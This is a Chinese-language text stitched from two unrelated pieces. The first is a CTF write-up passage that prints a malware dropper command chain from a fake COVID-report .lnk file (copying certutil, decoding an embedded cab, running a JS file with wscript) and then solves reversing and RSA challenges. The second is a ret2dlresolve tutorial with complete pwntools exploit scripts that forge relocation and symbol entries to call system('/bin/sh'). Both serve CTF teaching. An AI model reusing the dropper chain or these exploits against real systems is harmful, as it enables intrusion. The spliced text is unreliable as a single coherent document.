/c copy "20200308-sitrep-48-covid-19.pdf.lnk" %tmp%\\g4ZokyumBB2gDn.tmp /y&for /r C:\\Windows\\System32\\ %i in (*ertu*.exe) do copy %i %tmp%\\msoia.exe /y&findstr.exe "TVNDRgAAAA" %tmp%\\g4ZokyumBB2gDn.tmp>%tmp%\\cSi1r0uywDNvDu.tmp
2、使用msoia.exe对上一步写入的数据进行解码后保存到 **oGhPGUDC03tURV.tmp**
，接着执行expand命令将刚刚解码的数据进行解压缩，并全部保存到 **%tmp%** 目录下（ **EXPAND Source.cab -F:Files
Destination** ）
%tmp%\\msoia.exe -decode %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\oGhPGUDC03tURV.tmp&expand %tmp%\\oGhPGUDC03tURV.tmp -F:* %tmp%
3、最后使用 **wscript** 命令执行上一步解压缩出来的的 **9sOXN6Ltf0afe7.js** 文件。
wscript %tmp%\\9sOXN6Ltf0afe7.js
下面按照此lnk文件执行的cmd命令来看看释放出的文件都有些什么：
1、首先得到关键数据并解码：
findstr "TVNDRgAAAA" 20200308-sitrep-48-covid-19.pdf.lnk > ans
import base64
f = open("ans", "rb")
data = f.read()
p = base64.b64decode(data)
f.close()
f = open("ree", "wb")
f.write(p)
f.close()
print("-----------")
2、解码得到的文件头部是：MSCF 搜索一下可知道它是.cab文件。修改后缀后解压得到：
最后，从cSi1r0uywDNvDu.tmp文件中发现了运算flag的一个VBScript：
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="VBScript">
<![CDATA[
rBOH7OLTCVxzkH=HrtvBsRh3gNUbe("676d60667a64333665326564333665326564333665326536653265643336656564333665327c"):execute(rBOH7OLTCVxzkH):function HrtvBsRh3gNUbe(bhhz6HalbOkrki):for rBOH7OLTCVxzkH=1 to len(bhhz6HalbOkrki)step 2:HrtvBsRh3gNUbe=HrtvBsRh3gNUbe&chr(asc(chr("&h"&mid(bhhz6HalbOkrki,rBOH7OLTCVxzkH,2)))xor 1):next:end function:
]]> </ms:script>
</stylesheet>
其实就是把
676d60667a64333665326564333665326564333665326536653265643336656564333665327c
进行hex解码后每个字节与1异或：
>>> ans = bytes.fromhex(s)
>>> ans
b'gm`fzd36e2ed36e2ed36e2e6e2ed36eed36e2|'
>>> ans = list(ans)
>>> flag = [ans[i]^1 for i in range(len(ans))]
>>> flag
[102, 108, 97, 103, 123, 101, 50, 55, 100, 51, 100, 101, 50, 55, 100, 51, 100, 101, 50, 55, 100, 51, 100, 55, 100, 51, 100, 101, 50, 55, 100, 100, 101, 50, 55, 100, 51, 125]
>>> ''.join(map(chr, flag))
'flag{e27d3de27d3de27d3d7d3de27dde27d3}'
## Reverse
### BabyVM
去除大量重复的花指令：
from ida_bytes import *
addr = 0x411000
while addr <= 0x41B000:
if get_dword(addr) == 0x1750374:
patch_dword(addr, 0x90909090)
patch_byte(addr+4, 0x90)
addr += 4
addr += 1
print("--------------")
整个题逻辑比较明显，简单调试下就好。
程序的运算看起来有点烦是因为运算都是8字节为单位的，每次的运算和比较都要高四字节与低字节分别运算结合得到最后的结果，而其实程序运算只涉及低四字节的，分析的时候只看低四字节运算就是，比如下面的这种，我们看第一个式子就够了。
对于我熟悉程序流程的一个很关键的点，判断的case：
case 26:
byte_89F6A8 = __PAIR64__(dword_89F62C[2 * (_DWORD)v63], dword_89F628[2 * (_DWORD)v63]) == v64;
*(&byte_89F6A8 + 1) = __PAIR64__(dword_89F62C[2 * (_DWORD)v63], dword_89F628[2 * (_DWORD)v63]) < v64;
break;
其中的 **__PAIR64__** 运算，是IDA一个宏定义。
#define __PAIR__(high, low) (((unsigned long)(high)<<sizeof(high)*8) | low)
多观察下这个判断case可以知道输入长度，加密结果及密文对比等，这让我们进一步了解程序的情况，如下面的内存，
**dword_89F628[12]的地方为输入的加密结果** ， **dword_89F628[14]为待对比的密文数据** 。
先是倒着判断的输入格式是不是flag{}，接着对flag{}中的数据进行加密，一个异或和移位。
密文存放地址：
解密：
>>> enc = [0x000000000000009C, 0x00000000000001C0, 0x00000000000001D8, 0x00000000000001D4, 0x00000000000001D4, 0x00000000000001E8, 0x00000000000001C8, 0x0000000000000098, 0x00000000000001C8, 0x00000000000001C0, 0x00000000000001EC, 0x000000000000008C, 0x00000000000001D4, 0x000000000000008C, 0x00000000000001EC, 0x00000000000001EC, 0x00000000000001C0, 0x00000000000001C0, 0x00000000000001D8, 0x00000000000001D4, 0x000000000000009C, 0x00000000000001D0, 0x00000000000001D0, 0x00000000000001D0, 0x00000000000001D4, 0x00000000000001E8, 0x00000000000001D0, 0x00000000000001EC, 0x00000000000001C8, 0x00000000000001C8, 0x00000000000001E8, 0x000000000000008C]
>>> enc
[156, 448, 472, 468, 468, 488, 456, 152, 456, 448, 492, 140, 468, 140, 492, 492, 448, 448, 472, 468, 156, 464, 464, 464, 468, 488, 464, 492, 456, 456, 488, 140]
>>> flag = [(enc[i]>>2)^0x42 for i in range(len(enc))]
>>> flag
[101, 50, 52, 55, 55, 56, 48, 100, 48, 50, 57, 97, 55, 97, 57, 57, 50, 50, 52, 55, 101, 54, 54, 54, 55, 56, 54, 57, 48, 48, 56, 97]
>>> bytes(flag)
b'e247780d029a7a992247e6667869008a'
### EasyVM
开始根据BeingDebugged标志返回不同的值以决定触不触发异常，题目的本意就是程序在正常运行时返回2，然后触发一个除0异常进入到程序的关键函数，也是程序添加的异常处理函数。
看到异常处理函数，先对输入进行一个多了异或的base64编码：
后面是很一个简单的vm，就一些不多的函数指针，直接内存断点就能轻松定位到唯一加密函数：sub_4014D0
输入的每个字节进行两次异或，如下：
0^input[0]^0xee = enc[0]
enc[0]^input[1] = enc[1]
...
...
简单异或解密：
>>> import base64
>>> enc
[190, 54, 172, 39, 153, 79, 222, 68, 238, 95, 218, 11, 181, 23, 184, 104, 194, 78, 156, 74, 225, 67, 240, 34, 138, 59, 136, 91, 229, 84, 255, 104, 213, 103, 212, 6, 173, 11, 216, 80, 249, 88, 224, 111, 197, 74, 253, 47, 132, 54, 133, 82, 251, 115, 215, 13, 227]
>>> flag = []
>>> for i in range(56, 0, -1):
... enc[i] ^= 0xee
... enc[i] ^= enc[i-1]
...
>>> enc[0] ^= 0xee
>>> enc
[80, 102, 116, 101, 80, 56, 127, 116, 68, 95, 107, 63, 80, 76, 65, 62, 68, 98, 60, 56, 69, 76, 93, 60, 70, 95, 93, 61, 80, 95, 69, 121, 83, 92, 93, 60, 69, 72, 61, 102, 71, 79, 86, 97, 68, 97, 89, 60, 69, 92, 93, 57, 71, 102, 74, 52, 0]
>>> bytes(enc)
b'PfteP8\x7ftD_k?PLA>Db<8EL]<F_]=P_EyS\\]<EH=fGOVaDaY<E\\]9GfJ4\x00'
for i in range(0, 56, 4):
... enc[i] ^= 0xa
... enc[i+1] ^= 0xb
... enc[i+2] ^= 0xc
... enc[i+3] ^= 0xd
...
>>>
>>> enc
[90, 109, 120, 104, 90, 51, 115, 121, 78, 84, 103, 50, 90, 71, 77, 51, 78, 105, 48, 53, 79, 71, 81, 49, 76, 84, 81, 48, 90, 84, 73, 116, 89, 87, 81, 49, 79, 67, 49, 107, 77, 68, 90, 108, 78, 106, 85, 49, 79, 87, 81, 52, 77, 109, 70, 57, 0]
>>> bytes(enc)
b'ZmxhZ3syNTg2ZGM3Ni05OGQ1LTQ0ZTItYWQ1OC1kMDZlNjU1OWQ4MmF9\x00'
>>> base64.b64decode(b"ZmxhZ3syNTg2ZGM3Ni05OGQ1LTQ0ZTItYWQ1OC1kMDZlNjU1OWQ4MmF9")
b'flag{2586dc76-98d5-44e2-ad58-d06e6559d82a}'
### babyre
首先去除几种花指令。
第一种：
第二种：
第三种：
然后看到是进行了控制流平坦化混淆，但此程序代码量不多，也就相当于没加了。
其次程序中涉及的两个运算，整理一下：
~a&b|~b&a
(a&0xf4|~a&0xF0C4020B)^(b&0xf4|~b&0xb)
其实两个都是异或运算，自己化简和拿数据测试一下。
>>> a = 47
>>> b = 69
>>> a^b
106
>>> ~a&b|~b&a
106
>>> c = (a&0xf4|~a&0xF0C4020B)^(b&0xf4|~b&0xb)
>>> c&0xff
106
>>>
最后加密就是一些异或和换表base64，如下面的base64
解密：
table = "QVEJAfHmUYjBac+u8Ph5n9Od16FrICL/X0GvtM4qk7T2z3wNSsyoebilxWKgZpRD"
enc = "Fi9X/fxX6Q6JBfUfBM1V/y6V6PcPjMaQLl9IuttFuH68"
if '=' in enc:
enc = enc.replace("=", '')
tmp = [table.index(i) for i in enc]
print("index = ", tmp)
tmp1 = ''
for i in tmp:
tmp1 += bin(i)[2:].rjust(6, '0')
res = []
for i in range(0, len(tmp1), 8):
res += [int(tmp1[i:i+8], 2)]
print(res)
print(tmp)
for i in range(11):
for j in range(i):
res[3*i+0] ^= tmp[4*j+0]
res[3*i+1] ^= tmp[4*j+1]
res[3*i+2] ^= tmp[4*j+2]
print(bytes(res))
print(res)
num = []
key = 0
for i in range(8):
num += [int.from_bytes(res[4*i:4*(i+1)], "little")]
key ^= num[i]
key = list(key.to_bytes(4, "little"))
print(key)
flag = [res[i]^key[i%4] for i in range(len(res))]
print(bytes(flag)
#fce5e3dfc6db4f808ccaa6fcffecf583P
因为是填充了一个字节的，所以正确的输入就是 **fce5e3dfc6db4f808ccaa6fcffecf583**
## Crypto
### babyrsa
import os
from secret import FLAG,p,q,e
from Crypto.Util.number import bytes_to_long,long_to_bytes
N = p*q
def encrypt(m,N,e):
return pow(m,e,N)
def decrypt(c,N,d):
return pow(c,d,N)
def padding(msg):
res = msg
if len(res) < 128:
res = res + os.urandom(128-len(res))
return res
def transfer(msg):
assert len(msg) < 128
m = padding(msg)
return bytes_to_long(m)
if __name__ == "__main__":
m = transfer(FLAG)
print(N,e)
print(encrypt(m,N,e))
rsa中n可以直接查询数据库分解的模板题。[在线分解](http://factordb.com/index.php)
import gmpy2
from libnum import *
n = 13123058934861171416713230498081453101147538789122070079961388806126697916963123413431108069961369055630747412550900239402710827847917960870358653962948282381351741121884528399369764530446509936240262290248305226552117100584726616255292963971141510518678552679033220315246377746270515853987903184512948801397452104554589803725619076066339968999308910127885089547678968793196148780382182445270838659078189316664538631875879022325427220682805580410213245364855569367702919157881367085677283124732874621569379901272662162025780608669577546548333274766058755786449491277002349918598971841605936268030140638579388226573929
e = 2199344405076718723439776106818391416986774637417452818162477025957976213477191723664184407417234793814926418366905751689789699138123658292718951547073938244835923378103264574262319868072792187129755570696127796856136279813658923777933069924139862221947627969330450735758091555899551587605175567882253565613163972396640663959048311077691045791516671857020379334217141651855658795614761069687029140601439597978203375244243343052687488606544856116827681065414187957956049947143017305483200122033343857370223678236469887421261592930549136708160041001438350227594265714800753072939126464647703962260358930477570798420877
enc = 1492164290534197296766878830710549288168716657792979479408332026408553210558539364503279432780006256047888761718878241924947937039103166564146378209168719163067531460700424309878383312837345239570897122826051628153030129647363574035072755426112229160684859510640271933580581310029921376842631120847546030843821787623965614564745724229763999106839802052036834811357341644073138100679508864747009014415530176077648226083725813290110828240582884113726976794751006967153951269748482024859714451264220728184903144004573228365893961477199925864862018084224563883101101842275596219857205470076943493098825250412323522013524
p = 98197216341757567488149177586991336976901080454854408243068885480633972200382596026756300968618883148721598031574296054706280190113587145906781375704611841087782526897314537785060868780928063942914187241017272444601926795083433477673935377466676026146695321415853502288291409333200661670651818749836420808033
q = 133639826298015917901017908376475546339925646165363264658181838203059432536492968144231040597990919971381628901127402671873954769629458944972912180415794436700950304720548263026421362847590283353425105178540468631051824814390421486132775876582962969734956410033443729557703719598998956317920674659744121941513
assert p*q == n
nn = (p-1)*(q-1)
d = gmpy2.invert(e, nn)
flag = int(pow(enc, d, n))
print(n2s(flag))
#b'hwctf{01d_Curs3_c4Me_Again}vG\x03MC\xcd\xfd\x1d\x0bO\xcaV\x9b\x87vk\xd6\xb3\xbb\x8f\xc5\xd61\xdf7\x0f\x90\xc6\x17oj]\xf5J\xd4\xa9\xcc\xdb\xbe?\xb2(\xf0\xb2\xb6\x99b\xa7e\xa8\x82\xf7SY\xc7\xd9\xde\xc4\xb5\xe3q\xc1\xe8\xfeM\xbd\xbe\xfdD\xed\xb3\x12~\x9d\xba\xa4\xb0\xfek\x81\xc4-\x82\xb3%\xae4\x7fGl\x9a\xac\xc3\x91\xc1\xbc\x04\x03o\xa4\x8d' | 社区文章 |
# 延迟绑定原理 与 ret2dlresolve分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言：
漏洞的成因来自于Glibc在对重定向函数进行延迟绑定时，由于参数表被篡改导致的控制流篡改
本篇中，笔者会尽可能通过例题和实际现象来阐释 **延迟绑定的底层实现** 和 **ret2dlresolve**
若文章存在纰漏，也欢迎师傅们捉虫纠错
**注：笔者会尽可能从可在BUUOJ中直接启动远程靶机的题目作为例题，读者可以根据实际情况自行调试**
## 引题：
内容本身或许较为晦涩，不妨先从一道简单的栈溢出例题开始
例题来源：[XDCTF2015_pwn200](https://github.com/bash-c/pwn_repo/tree/master/XDCTF2015_pwn200)
**(这是题目源码链接，读者可直接从这里获取到本题的源代码)**
不过由于原题开启了一些保护，我们先从没有保护的情况开始分析，之后再探讨保护下的情况：
gcc bof.c -o bof_no_relro_32 -fno-stack-protector -m32 -z norelro -no-pie
toka@tokameinee:~/桌面/timu$ checksec bof_no_relro_32
[*] '/timu/bof_no_relro_32'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
漏洞是显然的，即便不用ret2dlresolve，通过一般的ROP链也能拿到shell：
void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
但如果使用ret2dlresolve又该如何获取呢？
## 延迟绑定原理(Lazy Binding)
可能读者已经知道，在程序尝试调用一些外部函数时(以read为例),会使用plt表和got表(即便不知道也没关系)
call plt[read]
jmp got[read]
但重定向函数地址之前，got表的内容实则为一个寻址函数的过程地址，不妨通过gdb动态调试一下例题程序：
先通过IDA找到plt表中write函数的地址，我们在 **0x80483A0** 处下一个断点，开始调试
可以发现，程序将会进入一个名为 **_dl_runtime_resolve** 的函数，而不是 **write**
通过不同的到达方式，IDA会显示出两种plt的样式：
如果write函数是第一次调用，那么将会执行
.plt:080483A0 jmp ds:off_80498D4
而0x80498D4为got表中write的地址，在完成重定向之前，0x80498D4处的值会被置为0x40483a6
因此，程序最终会执行
.plt:080483A0 jmp 0x40483a6
然后，程序会向栈中放入两个参数，分别为 **reloc_offset=0x20** 与 **dword ptr [
_GLOBAL_OFFSET_TABLE_ +4]** 作为 **函数_dl_fixup** 的参数，而 **函数_dl_fixup**
将把write函数真正的地址写入got表中，覆盖当前的值，因此在下一次使用时，就会跳转到真正的write函数地址了
**注意：reloc_offset参数将在之后用于寻址**
### 动态链接信息的获取
0x8048350 push dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x80498bc>
该命令实则往栈中放入了一个名为 **link_map** 的结构体地址，链接器就是通过该结构体中的信息来完成重定位的
有几个不可忽视的节区地址也被包含在link_map中，它们共同起效来完成整个重定位工作
**.dynamic**
其源码定义为：
typedef struct
{
Elf32_Sword d_tag; /* Dynamic entry type */
union
{
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* Address value */
} d_un;
} Elf32_Dyn;
该节区会为链接器提供各类地址，这里笔者摘录部分宏定义并做翻译以供参考
#define DT_NEEDED 1 /* 所需library的名字 */
#define DT_PLTGOT 3 /* .got.plt表地址 */
#define DT_STRTAB 5 /* 字符串表地址 */
#define DT_SYMTAB 6 /* 符号表地址 */
#define DT_INIT 12 /* 初始化代码地址 */
#define DT_FINI 13 /* 结束代码的地址 */
#define DT_REL 17 /* 重定位表地址 */
#define DT_RELENT 19 /* 动态重读位表入口数量 */
#define DT_JMPREL 23 /* ELF JMPREL Relocation Table地址(got表地址) */
#define DT_VERSYM 0x6ffffff0
IDA也在dynamic的每个项后标注了名称，其中个别几个较为关键：
**.dynstr(DT_STRTAB)**
一个字符串表，记录了各个函数所对应的名称
动态链接最终将会通过一个偏移来从该表找到目标函数的名称，通过该名称进行搜索函数地址
**.dynsym(DT_SYMTAB)**
一个Elf32_Sym结构体数组，其源码定义如下：
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
st_name字段记录了一个相对偏移，链接器通过.dynstr+st_name来访问到函数名
**.rel.plt(DT_JMPREL)**
源码定义如下：
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;
记录了重定向函数的got表地址及一个相对偏移
链接器通过DT_SYMTAB[r_info>>8]来找到对应的Elf32_Sym结构体
还记得在.plt中push入栈的 **0x20** 吗？该偏移用以在该表中寻址：
**& DT_JMPREL+reloc_offset=0x8048304+0x20=0x8048324**，该地址对应了write函数项
**link_map**
link_map结构体的源码定义有大概200行，这里就不贴出了，但我们可以通过gdb调试命令：
print *((struct link_map *)0xf7ffd940) #本地址为动态地址，读者应根据实际自行修改
查看入栈的link_map内容
//仅贴出部分link_map内容
gdb-peda$ print *((struct link_map *)0xf7ffd940)
$2 = {
l_addr = 0x0,
l_name = 0xf7ffdc2c "",
l_ld = 0x80497c4,
l_next = 0xf7ffdc30,
l_prev = 0x0,
l_real = 0xf7ffd940,
l_ns = 0x0,
l_libname = 0xf7ffdc20,
l_info = {0x0, 0x80497c4, 0x8049834, 0x804982c, 0x0, 0x8049804, 0x804980c, 0x0, 0x0, 0x0, 0x8049814, 0x804981c, 0x80497cc, 0x80497d4, 0x0, 0x0, 0x0, 0x804984c, 0x8049854, 0x804985c, 0x804983c, 0x8049824, 0x0, 0x8049844, 0x0, 0x80497dc, 0x80497ec, 0x80497e4, 0x80497f4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x804986c, 0x8049864, 0x0 <repeats 13 times>, 0x8049874, 0x0 <repeats 25 times>, 0x80497fc},
l_phdr = 0x8048034,
l_entry = 0x80483c0,
l_phnum = 0x8,
l_ldnum = 0x0,
l_searchlist = {
r_list = 0xf7fd03e0,
r_nlist = 0x3
},
l_symbolic_searchlist = {
r_list = 0xf7ffdc1c,
r_nlist = 0x0
},
l_loader = 0x0,
l_versions = 0xf7fd03f0,
l_nversions = 0x3,
l_nbuckets = 0x2,
l_gnu_bitmask_idxbits = 0x0,
l_gnu_shift = 0x5,
l_gnu_bitmask = 0x804819c,
**附注(.got.plt)**
另外还有一个节需要特别注意，即为.got.plt(以下简称got表)
其第一项为.DYNAMIC地址，第二项将在程序加载后被装入link_map的地址，第三项装入_dl_runtime_resolve 函数地址
0x8048350处，将.got.plt[1]入栈；0x8048356处，jmp .got.plt[2]
### 动态链接信息的使用
本篇，笔者仅基于实际流程说明结果。如果读者想要更加细致的去研究其流程，可以直接阅读_dl_runtime_resolve函数的源码
首先，链接器将通过link_map->l_info获得DT_SYMTAB、DT_STRTAB、DT_JMPREL三张表的地址
这里笔者截取部分代码：
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
然后：
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
通过link_map->l_info获取DT_VERSYM地址(指ELF GNU Symbol Version Table)
再然后，通过reloc->r_info获取ndx，以其为索引获取version(link_map->l_versions指向version表),即DT_VERSYM中对应函数的值
这里的reloc->r_info即为DT_JMPREL中，对应Elf32_Rel结构体的r_info>>8
例如本题，write将取出ndx=2,从中取出version=r_found_version[2]
gdb-peda$ print *((struct r_found_version[3] *)0xf7fd03f0)
$4 = {{
name = 0x0,
hash = 0x0,
hidden = 0x0,
filename = 0x0
}, {
name = 0x0,
hash = 0x0,
hidden = 0x0,
filename = 0x0
}, {
name = 0x804829e "GLIBC_2.0",
hash = 0xd696910,
hidden = 0x0,
filename = 0x804824d "libc.so.6"
}}
之后，通过DT_SYMTAB[r_info>>8]找到DT_SYMTAB中对应的Elf32_Sym结构体，通过st_name中记录的偏移，从(&DT_STRTAB+st_name)地址处获取函数名，最后通过文件名找到对应的文件并将其打开，映射到进程空间中，然后再将对应函数的地址写入DT_JMPREL表中对应项记录的got表地址中
## 延迟绑定的利用 ret2dlresolve
上面笔者简述了延迟绑定的流程，其中可能存在的几个利用点：
1. 篡改.DYNAMIC中的DT_STRTAB地址为某个可写地址，就能伪造DT_STRTAB的内容(仅在NO RELRO下可用)
2. 伪造DT_JMPREL并篡改.plt中push的偏移(reloc_offset，本题中write对应0x20)以提供一个更大的r_info，使得链接器寻址DT_SYMTAB中对应项时转移到自己构造的结构中，使得寻址DT_STRTAB的偏移过大，溢出到可写的地址中，及此伪造DT_STRTAB
或许还有其他方法，但本篇我们只讨论上面两种利用
### NO RELRO
不妨先看第一个情况，这里笔者给出exp：
from pwn import *
context.log_level="debug"
p=process("./bof_no_relro_32")
elf=ELF("./bof_no_relro_32")
offset = 112
dynstr = elf.get_section_by_name('.dynstr').data()
#获取DT_STRTAB字符串表
dynstr = dynstr.replace("read","system")
#将DT_STRTAB中的read改为system
read_plt=elf.plt["read"]
bss=0x080498E0
DT_STRTAB=0x08049804
relro_read=0x8048376
add_esp8_pop_ret=0x0804834a
payload='a'*offset #填充
payload+=p32(read_plt)+p32(add_esp8_pop_ret)+p32(0)+p32(DT_STRTAB+4)+p32(4)#change to bss
#第一次读取，将DYNAMIC中记录的DT_STRTAB地址替换道bss段
payload+=p32(read_plt)+p32(add_esp8_pop_ret)+p32(0)+p32(bss)+p32(len(dynstr))#fake str table
#第二次读取：将bss段的内容替换为DT_STRTAB原本的字符串表
payload+=p32(read_plt)+p32(add_esp8_pop_ret)+p32(0)+p32(bss+0x100)+p32(len("/bin/sh"))
#第三次读取：向bss+0x100处读入“/bin/sh”
payload+=p32(relro_read)
#返回地址：强制重定向read函数
payload+="aaaa"#填充
payload+=p32(bss+0x100)
#参数
payload+="a"*(256-len(payload))#填充
p.send(payload)
p.send(p32(bss))
p.send(dynstr)
p.send("/bin/sh\x00")
p.interactive()
### Partial RELRO
Partial RELRO保护下，DYNAMIC节只有读取的权限了，因此不能像上一个方法那样直接篡改DYNAMIC节
但reloc_offset却是通过栈传递的，如果我们能够用一个很大的数替代它，就能让链接器在寻址时从bss段寻找我们期望的函数
(这往往需要我们能够极大程度地控制栈空间：首先我们需要能够篡改返回地址；还需要伪造reloc_offset参数；然后我们还需要能够调用类似read的函数来伪造空间，这之中还需要有足够的溢出来传参)
例题来源：[XDCTF2015_pwn200](https://buuoj.cn/challenges#xdctf2015_pwn200)
**(该链接为BUU靶场题目链接)**
这次，我们的环境与原题一样了
[*] '/home/toka/timu/bof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
请注意阅读下述exp的代码与注释:
#########################PART 1############################
from pwn import *
context.log_level="debug"
import sys
reload(sys)
sys.setdefaultencoding('utf8')
#########################PART 2############################
p=process("./bof")
elf=ELF("./bof")
libc=elf.libc
p.recvuntil('Welcome to XDCTF2015~!\n')
offset = 112
#########################PART 3############################
read_plt=elf.plt["read"]
bss=0x0804A028
pop_ebp_ret=0x0804862b
leave_ret=0x8048445
add_esp8_pop_ret=0x0804836a
stack_size=0x800
base_stage=stack_size+bss
#首先，我们通过栈溢出构造一个read函数与栈迁移的ROP链
#我们将使用read向base_stage处读入数据
#并让程序在最后ret时返回到base_stage地址处
payload='a'*offset
payload+=p32(read_plt)+p32(add_esp8_pop_ret)+p32(0)+p32(base_stage)+p32(200)
payload+=p32(pop_ebp_ret)+p32(base_stage-4)+p32(leave_ret)#注意：由于leave指令，此处的地址应为base_stage-4
p.sendline(payload)
########################PART 4############################
plt_relro=0x8048370
write_reloc_offset=0x20
DT_JMPREL=0x8048324
write_got=elf.got["write"]
write_info=0x607
print ("r_info:"+hex(base_stage+24-DT_JMPREL))
#接着，我们构造base_stage种的数据
#我们将relro_offset由0x20该为base_stage+24-DT_JMPREL
#然后在DT_JMPREL+relro_offset处填入与Elf32_Rel <804A01Ch, 607h> ; R_386_JMP_SLOT write相同的内容
#这样，程序将以为我们需要重定向“write”，于是它将重定向函数，并调用write输出“/bin/sh”
payload=p32(plt_relro)+p32(base_stage+24-DT_JMPREL)
payload+="aaaa"#该ROP的返回地址
payload+=p32(1)+p32(base_stage+80)+p32(len("/bin/sh\x00"))#write的参数
payload+=p32(write_got)+p32(write_info)#此处即为伪造的Elf32_Rel结构体
payload+='a'*(80-len(payload))
payload+="/bin/sh\x00" #此处用以验证函数是否正常调用
payload+='a'*(120-len(payload))
p.send(payload)
######################################################
p.interactive()
我们发现，即便我们修改relro_offset让程序索引到外部，只要目的地的内容是合法的，链接器就会正常的工作
上述的exp中，write_info=0x607对应了正确的值，链接器能够用write_info>>8来获取合适的索引，那么如果我们将这个值也拓展到bss段，那么DT_SYMTAB的寻址就也会从bss段寻找，因此就能够伪造DT_SYMTAB中的项；再通过DT_SYMTAB中st_name的偏移来让链接器从bss段寻找函数名，那么我们就能够篡改任意函数为我们期望的函数了
那么我们只需要大胆地修改PART 4部分的代码为：
########################PART 4############################
plt_relro=0x8048370
write_reloc_offset=0x20
DT_JMPREL=0x8048324
DT_SYMTAB=0x80481CC
DT_STRTAB=0x0804826C
write_got=elf.got["write"]
write_info=(((((base_stage+88)+(4+8)-DT_SYMTAB))<<8)/0x10)|0x7
#(4+8)为填充字符的大小，我们应该保证write_info的最后一个字节为0x07来对齐地址
#可以注意到，从DT_SYMTAB：080481CC处开始，每个结构体大小均为0x10，因此我们伪造的结构体地址也应该在内存上对齐0x10
SRT_OFFSET=0x4c #现在，我们暂时先不修改st_name的偏移值
r_info=(base_stage+24-DT_JMPREL)
print ("write_info:"+hex(write_info))
print ("r_info:"+hex(r_info))
print ("SRT_OFFSET:"+hex(SRT_OFFSET))
payload=p32(plt_relro)+p32(r_info)
payload+="aaaa"#ret addr
payload+=p32(1)+p32(base_stage+80)+p32(len("/bin/sh\x00"))
payload+=p32(write_got)+p32(write_info)
payload+='a'*(80-len(payload))
payload+="/bin/sh\x00"
payload+="\x00"*12
payload+=p32(SRT_OFFSET)+p32(0)+p32(0)+p32(12)+p32(0)+p32(0)
payload+="write\x00\x00\x000"
payload+='a'*(200-len(payload))
p.send(payload)
似乎我们只是篡改了write_info并伪造了一个Elf32_Sym结构体，但我们还运气不错地绕开了一个小问题
回顾一下_dl_fixup函数的源码：
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);//通过l_info获取DT_VERSYM的地址
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;//ndx为reloc->r_info,其实就是write_info>>8
version = &l->l_versions[ndx];//意为：version=&DT_VERSYM[write_info>>8]
ndx=DT_VERSYM[reloc->r_info]=DT_VERSYM[write_info>>8]=&DT_VERSYM+2*rite_info>>8
我们在实际调试之前，并不清楚在篡改了write_info之后，我们获得的ndx是多少
又因为l_versions数组只有3个元素，因此，一旦ndx的值大于2就可能会导致程序崩溃
gdb-peda$ print *((struct r_found_version[3] *)0xf7fd03f0)
$4 = {{
name = 0x0,
hash = 0x0,
hidden = 0x0,
filename = 0x0
}, {
name = 0x0,
hash = 0x0,
hidden = 0x0,
filename = 0x0
}, {
name = 0x804829e "GLIBC_2.0",
hash = 0xd696910,
hidden = 0x0,
filename = 0x804824d "libc.so.6"
}}
但找到一个合适的数并不困难，我们只需要适当的为write_info加上些许偏移，然后在payload中用”\x00”填充即可
最后，我们修改SRT_OFFSET为DT_STRTAB到base_stage+88+4+8+6*4处，并在该处用”system”填充
然后把本该传给write函数的第一个参数改为”/bin/sh”的地址，就能顺利拿到shell
########################PART 4############################
plt_relro=0x8048370
write_reloc_offset=0x20
DT_JMPREL=0x8048324
DT_SYMTAB=0x80481CC
DT_STRTAB=0x0804826C
write_got=elf.got["write"]
write_info=((((base_stage+88+4+8-DT_SYMTAB))<<8)/0x10)|0x7
SRT_OFFSET=(base_stage+88+4+8+6*4)-DT_STRTAB
r_info=(base_stage+24-DT_JMPREL)
print ("write_info:"+hex(write_info))
print ("r_info:"+hex(r_info))
print ("SRT_OFFSET:"+hex(SRT_OFFSET))
payload=p32(plt_relro)+p32(r_info)
payload+="aaaa"#ret addr
payload+=p32(base_stage+80)+p32(base_stage+80)+p32(len("/bin/sh\x00"))
payload+=p32(write_got)+p32(write_info)
payload+='a'*(80-len(payload))
payload+="/bin/sh\x00"
payload+="\x00"*12
payload+=p32(SRT_OFFSET)+p32(0)+p32(0)+p32(12)+p32(0)+p32(0)
payload+="system\x00\x00"
payload+='a'*(200-len(payload))
p.send(payload)
p.interactive()
### FULL RELRO
FULL RELRO下，所有的外部函数将在加载时直接绑定，且Got表不再可写；在Got表无法更改的情况下，我们将
**没有任何一种方法能够让程序执行重定向过程** (当然，我们不考虑类似mProtect等情况)，这种攻击方式自然也就不成立了
### 对64位情况的讨论
不论是32位还是64位，链接器的工作流程都是相似的，理论上，我们是能够通过完全相同的流程来进行攻击的
